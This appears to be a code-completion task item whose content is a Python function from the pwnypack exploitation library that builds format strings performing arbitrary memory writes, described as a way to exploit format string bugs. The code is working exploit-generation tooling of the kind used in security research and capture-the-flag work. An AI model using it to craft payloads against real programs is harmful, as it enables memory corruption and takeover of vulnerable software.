<SYSTEM_TASK:>
Solve the following problem using Python, implementing the functions described below, one line at a time
<END_TASK>
<USER_TASK:>
Description:
 def fmtstring(offset, writes, written=0, max_width=2, target=None):
 """ Build a format string that writes given data to given locations. Can be used easily create format strings to exploit format string bugs. `writes` is a list of 2- or 3-item tuples. Each tuple represents a memory write starting with an absolute address, then the data to write as an integer and finally the width (1, 2, 4 or 8) of the write. :func:`fmtstring` will break up the writes and try to optimise the order to minimise the amount of dummy output generated. Args: offset(int):
 The parameter offset where the format string start. writes(list):
 A list of 2 or 3 item tuples. written(int):
 How many bytes have already been written before the built format string starts. max_width(int):
 The maximum width of the writes (1, 2 or 4). target(:class:`pwnypack.target.Target`):
 The target architecture. Returns: bytes: The format string that will execute the specified memory writes. Example: The following example will (on a 32bit architecture) build a format string that write 0xc0debabe to the address 0xdeadbeef and the byte 0x90 to 0xdeadbeef + 4 assuming that the input buffer is located at offset 3 on the stack. """


    if max_width not in (1, 2, 4):
        raise ValueError('max_width should be 1, 2 or 4')

    if target is None:
        target = pwnypack.target.target

    addrs = []
    cmds = []
    piece_writes = []

    for write in writes:
        if len(write) == 2:
            addr, value = write
            width = target.bits // 8
        else:
            addr, value, width = write
            if width not in (1, 2, 4, 8):
                raise ValueError('Invalid write width')

        piece_width = min(max_width, width)
        piece_value = getattr(pwnypack.packing, 'P%d' % (8 * width))(value, target=target)
        piece_unpack = getattr(pwnypack.packing, 'U%d' % (piece_width * 8))

        for i in range(0, width, piece_width):
            piece_writes.append((piece_width, addr, piece_unpack(piece_value[i:i + piece_width], target=target)))
            addr += piece_width

    written += len(piece_writes) * int(target.bits) // 8

    piece_writes.sort(key=lambda w_a_v: (w_a_v[2] - written) % (2 ** (max_width * 8)))

    for piece_width, piece_addr, piece_value in piece_writes:
        addrs.append(pwnypack.packing.P(piece_addr, target=target))

        piece_modulo = 2 ** (piece_width * 8)

        padding = (piece_value - written) % piece_modulo
        if padding:
            cmds.append(b'%' + str(padding).encode('ascii') + b'c')
        written = piece_value

        cmds.append(b'%' + str(offset).encode('ascii') + b'$' + FMTSTRING_OPS[piece_width])
        offset += 1

    return b''.join(addrs + cmds)